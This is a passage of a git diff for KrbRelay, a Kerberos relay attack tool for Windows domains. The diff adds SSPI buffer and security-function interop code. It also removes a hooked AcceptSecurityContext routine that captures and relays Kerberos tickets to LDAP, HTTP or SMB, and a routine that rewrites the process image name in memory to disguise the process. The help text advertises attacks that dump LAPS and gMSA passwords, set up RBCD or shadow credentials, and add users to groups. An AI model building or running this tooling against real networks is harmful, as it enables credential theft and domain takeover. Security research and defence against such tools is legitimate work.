0x00040000, + Identify = 0x00080000, + AllowNullSessions = 0x00100000, + AllowNonUserLogons = 0x00200000, + AllowContextReplay = 0x00400000, + FragmentToFit = 0x00800000, + NoToken = 0x01000000, + ProxyBindings = 0x04000000, + AllowMissingBindings = 0x10000000 + } + + internal unsafe delegate SecurityStatusCode AcceptSecurityContextFunc( + SspiHandle* phCredential, + SspiHandle* phContext, // This might be null on first call, ref hates that + SecurityBufferDescriptor* pInput, + AcceptContextReqFlags fContextReq, + uint TargetDataRep, + SspiHandle* phNewContext, + SecurityBufferDescriptor* pOutput, + uint* pfContextAttr, + LARGE_INTEGER* ptsTimeStamp + ); + + internal unsafe delegate SecurityStatusCode AcquireCredentialsHandleFunc( + string pszPrincipal, + string pszPackage, // "Kerberos","NTLM","Negotiative" + uint fCredentialUse, + IntPtr pvLogonID, + IntPtr pAuthData, + IntPtr pGetKeyFn, + IntPtr pvGetKeyArgument, + SspiHandle* phCredential, + LARGE_INTEGER* ptsExpiry + ); + + internal unsafe delegate SecurityStatusCode InitializeSecurityContextFunc( + SspiHandle* phCredential, + SspiHandle* phContext, + string pszTargetName, + uint fContextReq, + uint Reserved1, + uint TargetDataRep, + SecurityBufferDescriptor* pInput, + uint Reserved2, + SspiHandle* phNewContext, + SecurityBufferDescriptor* pOutput, + uint* pfContextAttr, + LARGE_INTEGER* ptsExpiry + ); + + internal unsafe delegate SecurityStatusCode QueryContextAttributesFunc( + SspiHandle* phContext, + uint ulAttribute, + IntPtr pValue + ); + + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct SecurityFunctionTable + { + public uint dwVersion; + public IntPtr EnumerateSecurityPackages; + public IntPtr QueryCredentialsAttributes; + public IntPtr AcquireCredentialsHandle; + public IntPtr FreeCredentialHandle; + public IntPtr Reserved1; + public IntPtr InitializeSecurityContext; + public IntPtr AcceptSecurityContext; + public IntPtr CompleteAuthToken; + public IntPtr DeleteSecurityContext; + public IntPtr ApplyControlToken; + public IntPtr QueryContextAttributes; + public IntPtr ImpersonateSecurityContext; + public IntPtr RevertSecurityContext; + public IntPtr MakeSignature; + public IntPtr VerifySignature; + public IntPtr FreeContextBuffer; + public IntPtr QuerySecurityPackageInfo; + public IntPtr Reserved2; + public IntPtr Reserved3; + public IntPtr ExportSecurityContext; + public IntPtr ImportSecurityContext; + public IntPtr AddCredentials; + public IntPtr Reserved4; + public IntPtr QuerySecurityContextToken; + public IntPtr EncryptMessage; + public IntPtr DecryptMessage; + public IntPtr SetContextAttributes; + public IntPtr SetCredentialsAttributes; + public IntPtr ChangeAccountPassword; + public IntPtr Reserved5; + public IntPtr QueryContextAttributesEx; + public IntPtr QueryCredentialsAttributesEx; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct SspiHandle + { + public IntPtr High; + public IntPtr Low; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct SecurityBufferDescriptor : IDisposable + { + public SecurityBufferType Version; + public int NumBuffers; + public IntPtr BufferPtr; + + public SecurityBufferDescriptor(int bufferSize) + { + Version = SecurityBufferType.Version; + NumBuffers = 1; + var buffer = new SecurityBuffer(bufferSize); + BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer)); + Marshal.StructureToPtr(buffer, BufferPtr, false); + } + + public SecurityBufferDescriptor(byte[] secBufferBytes) + { + Version = SecurityBufferType.Version; + NumBuffers = 1; + var buffer = new SecurityBuffer(secBufferBytes); + BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer)); + Marshal.StructureToPtr(buffer, BufferPtr, false); + } + + public SecurityBufferDescriptor(SecurityBuffer[] buffers) + { + if (buffers == null || buffers.Length == 0) + { + throw new ArgumentException("cannot be null or 0 length", "buffers"); + } + + Version = SecurityBufferType.Version; + NumBuffers = buffers.Length; + BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecurityBuffer)) * NumBuffers); + + for (int i = 0; i < buffers.Length; i++) + { + Marshal.StructureToPtr( + buffers[i], + BufferPtr + i * Marshal.SizeOf(typeof(SecurityBuffer)), + false + ); + } + } + + public List GetBuffers() + { + if (BufferPtr == IntPtr.Zero) + { + throw new InvalidOperationException("BufferPtr is NULL"); + } + + List buffers = new List(); + for (int index = 0; index < NumBuffers; index++) + { + buffers.Add( + (SecurityBuffer)Marshal.PtrToStructure( + BufferPtr + (index * Marshal.SizeOf(typeof(SecurityBuffer))), + typeof(SecurityBuffer) + ) + ); + } + + return buffers; + } + + public byte[] ToByteArray() + { + var bytes = new List(); + foreach (var buffer in GetBuffers()) + { + for (int i = 0; i < buffer.Count; i++) + { + bytes.Add(Marshal.ReadByte(buffer.Token + i)); + } + } + + return bytes.ToArray(); + } + + public SecurityBuffer GetTokenBuffer() + { + return GetBuffers().Where(b => (b.BufferType & SecurityBufferType.Token) != 0).First(); + } + + public byte[] GetTokenBytes() + { + return GetTokenBuffer().ToByteArray(); + } + + public SecurityBuffer UpdateTokenBytes(byte[] bytes) + { + SecurityBuffer tokenBuffer = GetTokenBuffer(); + tokenBuffer.Replace(bytes); + return tokenBuffer; + } + + public void Dispose() + { + if (BufferPtr != IntPtr.Zero) + { + foreach (var buffer in GetBuffers()) + { + buffer.Dispose(); + } + + Marshal.FreeHGlobal(BufferPtr); + BufferPtr = IntPtr.Zero; + } + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct SecurityBuffer : IDisposable + { + public int Count; + public SecurityBufferType BufferType; + public IntPtr Token; + + public SecurityBuffer(int bufferSize) + { + Count = bufferSize; + BufferType = SecurityBufferType.Token; + Token = Marshal.AllocHGlobal(bufferSize); + } + + public SecurityBuffer(byte[] bytes) + { + Count = bytes.Length; + BufferType = SecurityBufferType.Token; + Token = Marshal.AllocHGlobal(bytes.Length); + Marshal.Copy(bytes, 0, Token, bytes.Length); + } + + public SecurityBuffer(byte[] bytes, SecurityBufferType bufferType) + { + BufferType = bufferType; + + if (bytes != null && bytes.Length != 0) + { + Count = bytes.Length; + Token = Marshal.AllocHGlobal(Count); + Marshal.Copy(bytes, 0, Token, Count); + } + else + { + Count = 0; + Token = IntPtr.Zero; + } + } + + public byte[] ToByteArray() + { + var bytes = new List(); + for (int i = 0; i < Count; i++) + { + bytes.Add(Marshal.ReadByte(Token + i)); + } + + return bytes.ToArray(); + } + + public void Replace(byte[] newBytes) + { + if (newBytes.Length > Count) + { + throw new InvalidOperationException("Allocated buffer is too small"); + }; + Count = newBytes.Length; + Marshal.Copy(newBytes, 0, Token, Count); + } + + public void Dispose() + { + if (Token != IntPtr.Zero) + { + Marshal.FreeHGlobal(Token); + Token = IntPtr.Zero; + } + } + } +} diff --git a/KrbRelay/Interop/WTS.cs b/KrbRelay/Interop/WTS.cs new file mode 100644 index 0000000..26d3135 --- /dev/null +++ b/KrbRelay/Interop/WTS.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; + +namespace KrbRelay +{ + internal enum WtsInfoClass + { + InitialProgram = 0, + ApplicationName = 1, + WorkingDirectory = 2, + OEMId = 3, + SessionId = 4, + UserName = 5, + WinStationName = 6, + DomainName = 7, + ConnectState = 8, + ClientBuildNumber = 9, + ClientName = 10, + ClientDirectory = 11, + ClientProductId = 12, + ClientHardwareId = 13, + ClientAddress = 14, + ClientDisplay = 15, + ClientProtocolType = 16 + } + + internal enum WtsConnectStateClass + { + Active, + Connected, + ConnectQuery, + Shadow, + Disconnected, + Idle, + Listen, + Reset, + Down, + Init + } +} diff --git a/KrbRelay/KrbRelay.csproj b/KrbRelay/KrbRelay.csproj index 5ad04a2..1133d16 100644 --- a/KrbRelay/KrbRelay.csproj +++ b/KrbRelay/KrbRelay.csproj @@ -42,6 +42,7 @@ prompt 4 false + true AnyCPU @@ -84,12 +85,12 @@ - + - + @@ -98,6 +99,8 @@ + + @@ -121,23 +124,28 @@ - - - - - - - - - + + + + + + + + + + + + + - + + - + @@ -875,13 +883,14 @@ - + + diff --git a/KrbRelay/Misc/Interop.cs b/KrbRelay/Misc/Interop.cs deleted file mode 100644 index 61f8320..0000000 --- a/KrbRelay/Misc/Interop.cs +++ /dev/null @@ -1,96 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace KrbRelay -{ - /// - /// Taken and stripped from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Interop.cs - /// - public class Interop - { - // constants - - // Enums - // from https://tools.ietf.org/html/rfc3961 - public enum KERB_ETYPE : UInt32 - { - des_cbc_crc = 1, - des_cbc_md4 = 2, - des_cbc_md5 = 3, - des3_cbc_md5 = 5, - des3_cbc_sha1 = 7, - dsaWithSHA1_CmsOID = 9, - md5WithRSAEncryption_CmsOID = 10, - sha1WithRSAEncryption_CmsOID = 11, - rc2CBC_EnvOID = 12, - rsaEncryption_EnvOID = 13, - rsaES_OAEP_ENV_OID = 14, - des_ede3_cbc_Env_OID = 15, - des3_cbc_sha1_kd = 16, - aes128_cts_hmac_sha1 = 17, - aes256_cts_hmac_sha1 = 18, - rc4_hmac = 23, - rc4_hmac_exp = 24, - subkey_keymaterial = 65 - } - - // structs - // From Vincent LE TOUX' "MakeMeEnterpriseAdmin" - // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794 - [StructLayout(LayoutKind.Sequential)] - public struct KERB_ECRYPT - { - private int Type0; - public int BlockSize; - private int Type1; - public int KeySize; - public int Size; - private int unk2; - private int unk3; - public IntPtr AlgName; - public IntPtr Initialize; - public IntPtr Encrypt; - public IntPtr Decrypt; - public IntPtr Finish; - public IntPtr HashPassword; - private IntPtr RandomKey; - private IntPtr Control; - private IntPtr unk0_null; - private IntPtr unk1_null; - private IntPtr unk2_null; - } - - [StructLayout(LayoutKind.Sequential)] - public struct UNICODE_STRING : IDisposable - { - public ushort Length; - public ushort MaximumLength; - public IntPtr buffer; - - public UNICODE_STRING(string s) - { - Length = (ushort)(s.Length * 2); - MaximumLength = (ushort)(Length + 2); - buffer = Marshal.StringToHGlobalUni(s); - } - - public void Dispose() - { - Marshal.FreeHGlobal(buffer); - buffer = IntPtr.Zero; - } - - public override string ToString() - { - return Marshal.PtrToStringUni(buffer); - } - } - - // functions - // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" - [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] - public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum); - - public delegate int KERB_ECRYPT_HashPassword(UNICODE_STRING Password, UNICODE_STRING Salt, int count, byte[] output); - } -} \ No newline at end of file diff --git a/KrbRelay/Misc/SecurityBuffer.cs b/KrbRelay/Misc/SecurityBuffer.cs deleted file mode 100644 index 6db1793..0000000 --- a/KrbRelay/Misc/SecurityBuffer.cs +++ /dev/null @@ -1,312 +0,0 @@ -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; - -namespace KrbRelay -{ - [StructLayout(LayoutKind.Sequential)] - internal struct SspiHandle - { - // private fields - private IntPtr _hi; - - private IntPtr _low; - - // public properties - /// - /// Gets a value indicating whether this instance is zero. - /// - /// - /// true if this instance is zero; otherwise, false. - /// - public bool IsZero - { - get - { - if (_hi != IntPtr.Zero) - { - return false; - } - else - { - return _low == IntPtr.Zero; - } - } - } - - // public methods - /// - /// Sets to invalid. - /// - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - public void SetToInvalid() - { - _hi = IntPtr.Zero; - _low = IntPtr.Zero; - } - } - - /// - /// A SecBufferDesc structure. - /// - /// - /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa379815(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - internal struct SecurityBufferDescriptor : IDisposable - { - // public fields - public SecurityBufferType BufferType; - - public int NumBuffers; - public IntPtr BufferPtr; //Point to SecBuffer - - // constructors - /// - /// Initializes a new instance of the struct. - /// - /// Size of the buffer. - public SecurityBufferDescriptor(int bufferSize) - { - BufferType = SecurityBufferType.Version; - NumBuffers = 1; - var buffer = new SecurityBuffer(bufferSize); - BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer)); - Marshal.StructureToPtr(buffer, BufferPtr, false); - } - - /// - /// Initializes a new instance of the struct. - /// - /// The sec buffer bytes. - public SecurityBufferDescriptor(byte[] secBufferBytes) - { - BufferType = SecurityBufferType.Version; - NumBuffers = 1; - var buffer = new SecurityBuffer(secBufferBytes); - BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer)); - Marshal.StructureToPtr(buffer, BufferPtr, false); - } - - /// - /// Initializes a new instance of the struct. - /// - /// The buffers. - /// cannot be null or 0 length;buffers - public SecurityBufferDescriptor(SecurityBuffer[] buffers) - { - if (buffers == null || buffers.Length == 0) - { - throw new ArgumentException("cannot be null or 0 length", "buffers"); - } - - BufferType = SecurityBufferType.Version; - NumBuffers = buffers.Length; - - //Allocate memory for SecBuffer Array.... - BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecurityBuffer)) * NumBuffers); - - for (int i = 0; i < buffers.Length; i++) - { - var currentBuffer = buffers[i]; - var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer)); - Marshal.WriteInt32(BufferPtr, currentOffset, currentBuffer.Count); - - var length = currentOffset + Marshal.SizeOf(typeof(int)); - Marshal.WriteInt32(BufferPtr, length, (int)currentBuffer.BufferType); - - length = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)); - Marshal.WriteIntPtr(BufferPtr, length, currentBuffer.Token); - } - } - - // public methods - /// - /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. - /// - public void Dispose() - { - if (BufferPtr != IntPtr.Zero) - { - if (NumBuffers == 1) - { - var buffer = (SecurityBuffer)Marshal.PtrToStructure(BufferPtr, typeof(SecurityBuffer)); - buffer.Dispose(); - } - else - { - // Since we aren't sending any messages using the kerberos encrypt/decrypt. - // The 1st buffer is going to be empty. We can skip it. - for (int i = 1; i < NumBuffers; i++) - { - var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer)); - var totalLength = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)); - var buffer = Marshal.ReadIntPtr(BufferPtr, totalLength); - Marshal.FreeHGlobal(buffer); - } - } - - Marshal.FreeHGlobal(BufferPtr); - BufferPtr = IntPtr.Zero; - } - } - - /// - /// To the byte array. - /// - /// - /// Object has already been disposed!!! - public byte[] ToByteArray() - { - byte[] bytes = null; - - if (BufferPtr == IntPtr.Zero) - { - throw new InvalidOperationException("Object has already been disposed!!!"); - } - - if (NumBuffers == 1) - { - var buffer = (SecurityBuffer)Marshal.PtrToStructure(BufferPtr, typeof(SecurityBuffer)); - - if (buffer.Count > 0) - { - bytes = new byte[buffer.Count]; - Marshal.Copy(buffer.Token, bytes, 0, buffer.Count); - } - } - else - { - var bytesToAllocate = 0; - - for (int i = 0; i < NumBuffers; i++) - { - var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer)); - bytesToAllocate += Marshal.ReadInt32(BufferPtr, currentOffset); - } - - bytes = new byte[bytesToAllocate]; - - for (int i = 0, bufferIndex = 0; i < NumBuffers; i++) - { - var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer)); - var bytesToCopy = Marshal.ReadInt32(BufferPtr, currentOffset); - var length = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)); - IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(BufferPtr, length); - Marshal.Copy(SecBufferpvBuffer, bytes, bufferIndex, bytesToCopy); - bufferIndex += bytesToCopy; - } - } - - return (bytes); - } - } - - internal enum SecurityBufferType - { - /// - /// SECBUFFER_VERSION - /// - Version = 0, - - /// - /// SECBUFFER_EMPTY - /// - Empty = 0, - - /// - /// SECBUFFER_DATA - /// - Data = 1, - - /// - /// SECBUFFER_TOKEN - /// - Token = 2, - - /// - /// SECBUFFER_PADDING - /// - Padding = 9, - - /// - /// SECBUFFER_STREAM - /// - Stream = 10 - } - - /// - /// A SecBuffer structure. - /// - /// - /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa379814(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - internal struct SecurityBuffer : IDisposable - { - // public fields - public int Count; - - public SecurityBufferType BufferType; - public IntPtr Token; - - // constructors - /// - /// Initializes a new instance of the struct. - /// - /// Size of the buffer. - public SecurityBuffer(int bufferSize) - { - Count = bufferSize; - BufferType = SecurityBufferType.Token; - Token = Marshal.AllocHGlobal(bufferSize); - } - - /// - /// Initializes a new instance of the struct. - /// - /// The bytes. - public SecurityBuffer(byte[] bytes) - { - Count = bytes.Length; - BufferType = SecurityBufferType.Token; - Token = Marshal.AllocHGlobal(bytes.Length); - Marshal.Copy(bytes, 0, Token, bytes.Length); - } - - /// - /// Initializes a new instance of the struct. - /// - /// The bytes. - /// Type of the buffer. - public SecurityBuffer(byte[] bytes, SecurityBufferType bufferType) - { - BufferType = bufferType; - - if (bytes != null && bytes.Length != 0) - { - Count = bytes.Length; - Token = Marshal.AllocHGlobal(Count); - Marshal.Copy(bytes, 0, Token, Count); - } - else - { - Count = 0; - Token = IntPtr.Zero; - } - } - - // public methods - /// - /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. - /// - public void Dispose() - { - if (Token != IntPtr.Zero) - { - Marshal.FreeHGlobal(Token); - Token = IntPtr.Zero; - } - } - } -} \ No newline at end of file diff --git a/KrbRelay/Program.cs b/KrbRelay/Program.cs index 2228a97..228ab94 100644 --- a/KrbRelay/Program.cs +++ b/KrbRelay/Program.cs @@ -1,203 +1,25 @@ -using KrbRelay.Clients; -using KrbRelay.Com; -using NetFwTypeLib; +using KrbRelay.Com; using SMBLibrary; using SMBLibrary.Client; using System; using System.Collections.Generic; -using System.Diagnostics; +using System.IO; using System.Linq; using System.Net; using System.Net.Http; -using System.Net.NetworkInformation; using System.Runtime.InteropServices; using System.Text; using System.Threading; -using static KrbRelay.Natives; namespace KrbRelay { internal class Program { - public static string SetProcessModuleName(string s) - { - IntPtr hProcess = GetCurrentProcess(); - PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); - UInt32 RetLen = 0; - IntPtr temp; - NtQueryInformationProcess(hProcess, 0, ref pbi, Marshal.SizeOf(pbi), ref RetLen); - - //https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters - IntPtr pProcessParametersOffset = (IntPtr)(pbi.PebBaseAddress + 0x20); - byte[] addrBuf = new byte[IntPtr.Size]; - ReadProcessMemory(hProcess, pProcessParametersOffset, addrBuf, addrBuf.Length, out temp); - IntPtr processParametersOffset = (IntPtr)BitConverter.ToInt64(addrBuf, 0); - IntPtr imagePathNameOffset = processParametersOffset + 0x060; - //Console.WriteLine("processParametersOffset: 0x{0:X}", processParametersOffset.ToInt64()); - //Console.WriteLine("imagePathNameOffset: 0x{0:X}", imagePathNameOffset.ToInt64()); - - //read imagePathName - byte[] addrBuf2 = new byte[Marshal.SizeOf(typeof(UNICODE_STRING))]; - ReadProcessMemory(hProcess, imagePathNameOffset, addrBuf2, addrBuf2.Length, out temp); - UNICODE_STRING str = Helpers.ReadStruct(addrBuf2); - byte[] addrBuf3 = new byte[str.Length]; - ReadProcessMemory(hProcess, str.Buffer, addrBuf3, addrBuf3.Length, out temp); - string oldName = Encoding.Unicode.GetString(addrBuf3); - - //write imagePathName - byte[] b = Encoding.Unicode.GetBytes(s + "\x00"); - WriteProcessMemory(hProcess, str.Buffer, b, b.Length, out temp); - - CloseHandle(hProcess); - return oldName; - } - - public static void setUserData(int SessionId) - { - if (SessionId != -123) - { - uint bytesReturned; - bool worked; - IntPtr buffer = IntPtr.Zero; - - try { - worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.ConnectState, out buffer, out bytesReturned); - var state = (WTS_CONNECTSTATE_CLASS)Enum.ToObject(typeof(WTS_CONNECTSTATE_CLASS), Marshal.ReadInt32(buffer)); - if (state != WTS_CONNECTSTATE_CLASS.Active) - Console.WriteLine("[-] WARNING, user's session is not active"); - } - catch - { - Console.WriteLine("[-] Session {0} does not exists", SessionId); - Environment.Exit(0); - } - - worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.DomainName, out buffer, out bytesReturned); - relayedUserDomain = Marshal.PtrToStringAnsi(buffer); - - worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.UserName, out buffer, out bytesReturned); - relayedUser = Marshal.PtrToStringAnsi(buffer); - } - else - { - relayedUser = Environment.MachineName + "$"; - relayedUserDomain = domainDN.Replace(",", ".").Replace("DC=", ""); - } - Console.WriteLine("[*] Relaying context: {0}\\{1}", relayedUserDomain, relayedUser); - } - - - public static SECURITY_HANDLE ldap_phCredential = new SECURITY_HANDLE(); - public static IntPtr ld = IntPtr.Zero; - public static byte[] apRep1 = new byte[] { }; - public static byte[] apRep2 = new byte[] { }; - public static byte[] ticket = new byte[] { }; - public static string spn = ""; - public static string relayedUser = ""; - public static string relayedUserDomain = ""; - public static string domainDN = ""; - public static string targetFQDN = ""; - public static bool useSSL = false; - public static bool stopSpoofing = false; - public static Dictionary attacks = new Dictionary(); public static SMB2Client smbClient = new SMB2Client(); public static HttpClientHandler handler = new HttpClientHandler(); public static HttpClient httpClient = new HttpClient(); public static CookieContainer CookieContainer = new CookieContainer(); - //hooked function - [STAThread] - public static SecStatusCode AcceptSecurityContext_( - [In] SecHandle phCredential, - [In] SecHandle phContext, - [In] SecurityBufferDescriptor pInput, - AcceptContextReqFlags fContextReq, - SecDataRep TargetDataRep, - [In, Out] SecHandle phNewContext, - [In, Out] IntPtr pOutput, - out AcceptContextRetFlags pfContextAttr, - [Out] SECURITY_INTEGER ptsExpiry) - { - //get kerberos tickets sent to our com server - if (apRep1.Length == 0) - { - //ap_req - ticket = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray(); - int ticketOffset = Helpers.PatternAt(ticket, new byte[] { 0x6e, 0x82 }); // 0x6e, 0x82, 0x06 - ticket = ticket.Skip(ticketOffset).ToArray(); - ticket = Helpers.ConvertApReq(ticket); - if(ticket[0] != 0x60) - { - Console.WriteLine("[-] Recieved invalid apReq, exploit will fail"); - Console.WriteLine("{0}", Helpers.ByteArrayToString(ticket)); - Environment.Exit(0); - } - else - { - Console.WriteLine("[*] apReq: {0}", Helpers.ByteArrayToString(ticket)); - } - } - else - { - apRep2 = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray(); - int apRep2Offset = Helpers.PatternAt(apRep2, new byte[] { 0x6f }, true); - apRep2 = apRep2.Skip(apRep2Offset).ToArray(); - ticket = apRep2; - Console.WriteLine("[*] apRep2: {0}", Helpers.ByteArrayToString(ticket)); - } - - string service = spn.Split('/').First(); - if (service.ToLower() == "ldap") - { - Ldap.Connect(); - } - else if (service.ToLower() == "http") - { - Http.Connect(); - } - else if (service.ToLower() == "cifs") - { - Smb.Connect(); - } - - //overwrite security buffer - var pOutput2 = new SecurityBufferDescriptor(12288); - //var buffer = new SecurityBufferDescriptor(msgidbytes); - var buffer = new SecurityBuffer(apRep1); - int size = Marshal.SizeOf(buffer); - int size2 = apRep1.Length; - var BufferPtr = Marshal.AllocHGlobal(size); - Marshal.StructureToPtr(buffer, BufferPtr, false); - byte[] BufferBytes = new byte[size]; - Marshal.Copy(BufferPtr, BufferBytes, 0, size); - var ogSecDesc = (SecurityBufferDescriptor)Marshal.PtrToStructure(pOutput, typeof(SecurityBufferDescriptor)); - var ogSecBuffer = (SecurityBuffer)Marshal.PtrToStructure(ogSecDesc.BufferPtr, typeof(SecurityBuffer)); - - SecStatusCode ret = AcceptSecurityContext( - phCredential, - phContext, - pInput, - fContextReq, - TargetDataRep, - phNewContext, - pOutput2, - out pfContextAttr, - ptsExpiry); - - //overwrite SecurityBuffer bytes - if (apRep2.Length == 0) - { - byte[] nbytes = new byte[254]; - Marshal.Copy(apRep1, 0, ogSecBuffer.Token + 116, apRep1.Length); // verify this 116 offset? - Marshal.Copy(nbytes, 0, (IntPtr)ogSecBuffer.Token + apRep1.Length + 116, nbytes.Length); - } - - Console.WriteLine("[*] AcceptSecurityContext: {0}", ret); - Console.WriteLine("[*] fContextReq: {0}", fContextReq); - - return ret; - } - private static void ShowHelp() { Console.WriteLine(); @@ -208,8 +30,12 @@ private static void ShowHelp() Console.WriteLine("Usage: KrbRelay.exe -spn [OPTIONS] [ATTACK]"); Console.WriteLine("LDAP attacks:"); Console.WriteLine("-console Interactive LDAP console"); - Console.WriteLine("-rbcd Configure RBCD for a given SID (default target localhost)"); - Console.WriteLine("-shadowcred Configure msDS-KeyCredentialLink (default target localhost)"); + Console.WriteLine( + "-rbcd Configure RBCD for a given SID (default target localhost)" + ); + Console.WriteLine( + "-shadowcred Configure msDS-KeyCredentialLink (default target localhost)" + ); Console.WriteLine("-laps Dump LAPS passwords"); Console.WriteLine("-gMSA Dump gMSA passwords"); Console.WriteLine("-add-groupmember Add user to group"); @@ -232,7 +58,9 @@ private static void ShowHelp() Console.WriteLine("HTTP attacks:"); Console.WriteLine("-endpoint Example; 'EWS/Exchange.asmx'"); - Console.WriteLine("-proxy Start a HTTP proxy server against target"); + Console.WriteLine( + "-proxy Start a HTTP proxy server against target" + ); //Console.WriteLine("-adcs